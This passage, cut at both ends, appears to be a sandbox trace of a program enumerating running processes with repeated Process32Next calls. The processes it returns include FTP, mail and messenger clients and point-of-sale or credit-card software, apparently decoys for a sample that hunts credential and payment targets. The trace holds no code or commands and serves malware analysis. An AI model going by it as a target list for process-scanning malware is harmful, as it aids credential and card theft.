th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.181] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0133.183] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0133.185] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0133.186] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0133.188] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0133.190] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0133.192] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0133.193] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.195] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.197] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0133.199] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0133.200] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.202] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.204] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0133.206] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0133.208] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0133.210] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0133.212] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0133.215] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0133.217] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0133.219] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0133.224] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0133.226] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0133.228] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0133.229] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0133.231] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0133.233] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0133.235] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0133.237] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0133.239] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0133.241] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0133.243] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0133.244] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0133.252] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0133.257] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0133.290] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0133.294] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0133.298] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0133.301] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0133.304] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0133.307] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0133.309] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0133.312] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0133.315] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0133.318] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0133.320] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0133.323] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0133.325] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0133.328] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0133.331] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0133.333] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0133.336] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0133.340] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0133.342] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0133.364] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0133.368] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0133.370] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0133.373] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0133.376] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0133.378] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0133.380] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0133.383] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0133.385] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0133.388] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0133.390] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0133.393] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0133.395] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0133.398] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0133.400] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0133.402] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0133.404] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0133.407] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0133.410] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0133.412] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0133.415] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0133.448] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0133.451] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0133.453] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0133.455] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0133.458] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0133.460] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0133.463] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0133.465] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0133.466] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: 